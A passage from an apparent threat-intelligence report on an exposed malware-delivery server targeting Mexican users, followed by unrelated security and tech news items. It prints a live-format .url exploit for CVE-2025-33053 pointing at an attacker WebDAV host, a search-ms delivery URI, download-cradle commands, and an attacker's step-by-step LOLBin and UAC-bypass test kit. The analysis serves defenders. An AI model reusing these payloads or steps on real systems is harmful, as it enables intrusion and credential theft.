   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D
Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.
⠀
The testing approach was methodical and included the below:
Transports: WebDAV over @80 and @ssl@443
Path formats: DavWWWRoot vs. plain UNC
Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent
Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://…
Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows
Explorer containers: search-ms: queries and .library-ms files exposing remote payloads
ClickFix pages: relying on user copy/paste execution
Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr
The lure factory
The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.
Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.
The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.
The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.
The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.
The payload chains 
The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.
We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.
Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. 
This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution. 
Case study 1: CURP campaign targeting Mexico
Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.
Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.
⠀
The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:
search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP
⠀
It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.
The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.
Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.
⠀
Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.
Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.
⠀
The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:
Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.
Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.
Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.
The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.
Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.
The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. 
Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.
Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.
Case study 2: The "DlrtyGames" sideloading chain
While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.
The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll. 
Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.
⠀
Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.
The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.
The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest. 
The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.
The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.
GenAI adoption
Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. 
═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         <- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   <- WebDAV (triggers WebClient!)
  ShowCommand=7                     <- start minimized (hide alert windows)
  IconIndex=13                      <- (decoy icon)
  IconFile=msedge.exe               <- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -> HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -> doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              <- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    <- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           <- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.
Figure 7: Context of README.md found in the exposed directory.

The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:
Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.
⠀
It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.
Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.
Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.
⠀
Figure 10: Simba service system requirements.
⠀
The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.
The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.
# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup....lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **``** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **``** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **``** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
> Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...
Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.
OPSEC is hard 
As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”
Figure 12: Simba service presentation.
⠀
The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.
The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.
Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.
We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.
Delivery panel overview
The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.
Figure 13: Simba service page with blocking capabilities.
⠀
The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).
We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.
The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.
Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.
The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.
Country Requests Share of requests Unique client IPs Launch events
Mexico 63,622 82.5% 2,698 2,365
United States 4,032 5.2% 463 47
Germany 2,751 3.6% 59 1
United Kingdom 645 0.8% 40 0
Netherlands 532 0.7% 49 1
France 407 0.5% 21 0
Finland 401 0.5% 6 10
Brazil 343 0.4% 41 0
Republic of Korea 312 0.4% 16 1
Table 3: Geographic distribution of WebDAV delivery activity.
Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.
Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.
By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.
Protocol behavior
The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.
Method Count
PROPFIND 57,287
GET 13,088
OPTIONS 6,597
PROPPATCH 125
LOCK 1
Table 4: HTTP methods observed in WebDAV delivery traffic.
Status Count
207 57,412
200 19,532
206 154
Table 5: HTTP status codes observed in WebDAV delivery traffic.
MITRE ATT&CK techniques
Name MITRE ATT&CK technique Code
Payload execution User Execution: Malicious File T1204.002
Masquerading Right-to-Left Override T1036.002
Masquerading Double File Extension T1036.007
DLL sideloading Hijack Execution Flow: DLL T1574.001
Obfuscation Encrypted/Encoded File T1027.013
Payload unpacking Deobfuscate/Decode Files or Information T1140
Payload carrier Steganography / image-carried payload data T1027.003
API hiding Dynamic API Resolution T1027.007
In-memory loading Reflective Code Loading T1620
Injection Process Hollowing T1055.012
Native API use Native API T1106
Sandbox evasion Time Based Evasion T1497.003
Anti-analysis Debugger / instrumentation checks T1622
UAC bypass Bypass User Account Control T1548.002
Persistence Registry Run Keys / Startup Folder T1547.001
Persistence Scheduled Task T1053.005
Collection Keylogging T1056.001
Collection Screen Capture T1113
Collection Clipboard Data T1115
Credential access Credentials from Web Browsers T1555.003
Credential access Steal Web Session Cookie T1539
Collection Data from Local System T1005
Collection Automated Collection T1119
Staging Archive Collected Data: Archive via Utility T1560.001
C2 Encrypted Channel T1573
Exfiltration Exfiltration Over C2 Channel T1041
Possible persistence WMI Event Subscription T1546.003
Phishing lure generation Generate Phishing Lures AML.T0052
Resource Development Resource Development AML.TA0003
Obtain capabilities via LLM tooling Obtain Capabilities AML.T0016
LLM-assisted capability development Develop Capabilities  AML.T0017
LLM prompt crafting for attack documentation LLM Prompt Crafting AML.T0065
Obtain capabilities via tooling Obtain Capabilities: Software Tools AML.T0016.001
Indicators of compromise (IOCs)
CURP campaign
Phishing page: hxxps://gobf[.]mx 
WebDav server: onedrive[.]cv
ReportFinal..scr    SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7
C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888
Domain: google.services[.]ug
Campaign tag:06x12x2026SantaEbash2  (v4.4.3)
Schedule tasks: brokerhost, net_queue_32
Staging paths:
%TEMP%\is-XXXXX.tmp\Fo-Binary.exe 
%AppData%\Roaming\inttracer_i686_prod\      
 C:\ProgramData\inttracer_i686_prod\
DlrtyGames campaign 
C2: 23[.]94[.]252[.]228:57666
JA3: fc54e0d16d9764783542f0146a98b300
DlrtyGames.exe
SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268
discord-rpc.x64.dll
SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df
profiler16.dll
SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9
loader-pool.db
SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b
.NET RAT
SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923
Staging paths:
C:\ProgramData\basenet\
%APPDATA%\basenet\
Persistence:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW
\com_app_bg_i686
\messenger_component_v8_32_rc
More indicators of compromise can be found on Rapid7’s GitHub.
Rapid7 customers
Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.
Conclusion
The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.
The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. 
While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.
The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.


Italy fines WINDTRE €1.7 million over security flaws behind two data breaches
Mon, 20 Jul 2026 15:52:57 +0200
Italy’s data protection authority, the Garante per la Protezione dei Dati Personali, fined WINDTRE €1.7 million over “serious data security shortcomings” that let hackers breach its systems twice and exfiltrate personal data belonging to more than 365,000 customers. The regulator…
Read more →
The post Italy fines WINDTRE €1.7 million over security flaws behind two data breaches appeared first on IT Security News.


Italy fines WINDTRE €1.7 million over security flaws behind two data breaches
Mon, 20 Jul 2026 15:23:46 +0200
Italy’s data protection authority, the Garante per la Protezione dei Dati Personali, fined WINDTRE €1.7 million over “serious data security shortcomings” that let hackers breach its systems twice and exfiltrate personal data belonging to more than 365,000 customers. The regulator opened its investigation after WINDTRE, one of Italy’s major telecom operators, reported two separate data breaches in February 2025. The attackers relied on old-school social engineering instead of exploiting software vulnerabilities. Posing as support technicians, … More →
The post Italy fines WINDTRE €1.7 million over security flaws behind two data breaches appeared first on Help Net Security.


7-Zip patcht kritischen Speicherfehler
Mon, 20 Jul 2026 13:15:27 +0200
7-Zip patcht kritischen Speicherfehler

      
      
        
          
            
                



            
          
        
              
    
  Daniel Richey
Mo., 20.07.2026 - 13:00


            ^Ein Sicherheitsfehler in der Archivsoftware 7-Zip erlaubt es Angreifern, unter bestimmten Bedingungen fremden Code auf betroffenen Rechnern auszuführen. Nutzer müssen dafür lediglich eine präparierte Datei öffnen – ein Update schließt die Lücke.
      
    
          News
      
  
    Weiterlesen über 7-Zip patcht kritischen Speicherfehler
  


Kimi K3 open-weight model: China’s biggest AI is a bet on memory, not compute
Mon, 20 Jul 2026 11:04:15 +0200
Moonshot AI’s Kimi K3 open-weight model has been read almost entirely through its parameter count since it launchedon July 16. At 2.8 trillion parameters, it is the largest open-weight model released to date. Model sizes are usually grouped into rough brackets, and 2.8 trillion rounds into what the industry calls the 3T class. A tier no […]
The post Kimi K3 open-weight model: China’s biggest AI is a bet on memory, not compute appeared first on AI News.


Datenharmonisierung in der Praxis
Mon, 20 Jul 2026 08:15:26 +0200
Datenharmonisierung in der Praxis

      
      
        
          
            
                



            
          
        
              
    
  Redaktion IT-A…
Mo., 20.07.2026 - 07:00


            Steigende regulatorische Anforderungen verlangen zunehmend konsistente Informationsstrukturen. Der Beitrag beleuchtet typische Herausforderungen bei Architektur, Integration und Betrieb moderner Plattformen und zeigt, wie Unternehmen Datensilos abbauen und Prozesse vereinheitlichen können.
      
    
          Fachartikel
      
  
    Weiterlesen über Datenharmonisierung in der Praxis
  


PowerShell: Execution Policy richtig setzen
Mon, 20 Jul 2026 08:15:25 +0200
PowerShell: Execution Policy richtig setzen

      
      
        
          
            
                



            
          
        
              
    
  Daniel Richey
Mo., 20.07.2026 - 07:00


            Zwischen digitaler Vollsperrung und offener Tür für jeden Code liegt oft nur ein Cmdlet. Wer die passende Ausführungsrichtlinie wählt, schützt sein System und behält trotzdem die nötige Flexibilität. Wir zeigen, wie es geht.
      
    
          Tipps & Tools
      
  
    Weiterlesen über PowerShell: Execution Policy richtig setzen
  


As AI Transforms Silicon Valley, Some Tech Workers Face Evaporating Financial Security
Mon, 20 Jul 2026 05:54:45 +0200
The Washington Post describes a mid-tier executive at Meta as one of Silicon Valley's "winners" whose financial security suddenly "evaporated" as their workforce "pushed headlong into AI and heavy job cuts," creating a transformed job market. "Her ex-husband, a designer at Meta who was laid off in 2020, eventually gave up looking for jobs in his profession. He now lifts boxes at a warehouse."


Layoffs.fyi, which tracks announced job cuts, counts more than 800,000 tech workers laid off since 2022, including large staff reductions in recent months at Meta, Microsoft, Oracle and Amazon... "There's this whole tranche of people who've been quite used to being among the most upwardly mobile in society who are all of a sudden saying, 'Now I'm the guy on the streetâs'" said Oliver Raskin, who founded Silicon Valley market research consultancy Signalcraft Insights and has surveyed attitudes in the tech labor force... "The rise of AI, especially, is bound to change the workplace radically," [said Georgetown University historian Joseph McCartin]. "But the way it's going to happen is similar to how technology transformed the auto industry." Ruth Milkman, a labor sociologist at the City University of New York, said that technology workers are getting a dose of what workers in other industries have long complained about: jobs that feel unsteady or rob them of autonomy. "Low-wage workers are used to it," she said... 

Many layoffs at technology companies are probably a hangover effect from over-hiring in prior years, experts say. And they don't account for a spotty recent increase in hiring in the information industry, which includes employment of software developers and jobs in media and entertainment. Digging deeper, though, some economists say there are signs that Silicon Valley and other technology-reliant parts of the American economy have reached a turning point where they are growing without needing as many people. The notion was encapsulated in a recent talk that ricocheted through group chats across the tech industry: In it, a partner at the start-up incubator Y Combinator heralded a new generation of AI-first companies that will only need human labor for "novel situations," "ethical considerations" and "high-stakes moments." 

Gad Levanon, chief economist at the labor research nonprofit Burning Glass Institute, said that the number of hours worked in the information sector has dipped since 2022, while the sector's economic output has increased by about 8 percent a year — more than three times the overall growth rate of the U.S. economy. He says the data reveals a sea change in industries, including technology and finance, toward doing more work with the same or fewer people — one that is spreading to other professional classes. "That's the new reality for white-collar and tech-exposed work: output up, headcount flat or down," Levanon said... 

Raskin, who has worked in the tech world since the late '90s, said that even though the current moment feels unsettling to many, he's hopeful that it's an early chapter in an evolving story. "It's happened many times before," he said, "that something implodes and all these people lose jobs, but then that talent gets cycled into whatever the next thing is — into a new wave of prosperity." 

In the article tech entrepreneur Anil Dash quips that Silicon Valley techies are "are guinea pigs for what tech dudes want to do to everyone."






Read more of this story at Slashdot.


The cleanup trap: Stop asking RAG to fix bad data
Sun, 19 Jul 2026 22:32:19 +0200
The enterprise technology ecosystem is caught in a costly cycle. Over the past two years, millions of dollars have been funneled into generative AI pilots, yet many of these initiatives stall out before ever reaching a live production environment.
When a project fails, the immediate instinct of technical leadership is often to blame the model: The context window was too restrictive, the latency was too high, or the reasoning capabilities simply were not there.
But as data engineers building the scaffolding for these systems, we often see a different reality: The model receives the blame, but the pipeline usually contains the root cause. Production gen AI rarely fails because of model limitations alone. More often, it fails because the enterprise data foundation underneath it is fundamentally unready.
This is what I call the 'Cleanup Trap': The false belief that an organization can pipe fragmented, inconsistent, and ungoverned legacy data into a large language model (LLM) orchestrator and simply “clean it up” or patch it at the retrieval layer.
The mirage of the retrieval layer
In a standard retrieval-augmented generation (RAG) architecture, the retrieval layer is tasked with pulling relevant business context to ground the model’s responses. Because modern frameworks make it simple to stand up a vector database and a basic embedding pipeline, leadership often assumes that the data engineering problem is solved.
It is not.
When an embedding model receives raw, unvalidated data directly from operational silos, the resulting vector space inherits the structural noise, duplicate records, and conflicting states present in the source systems.
If the core data pipeline suffers from silent degradation — schema drift, missing fields, delayed change-data-capture (CDC) synchronization — that degradation cascades directly into the vector store. An AI model cannot accurately synthesize customer intelligence if the data pipeline behind it is serving stale, contradictory profiles across disparate storage layers.
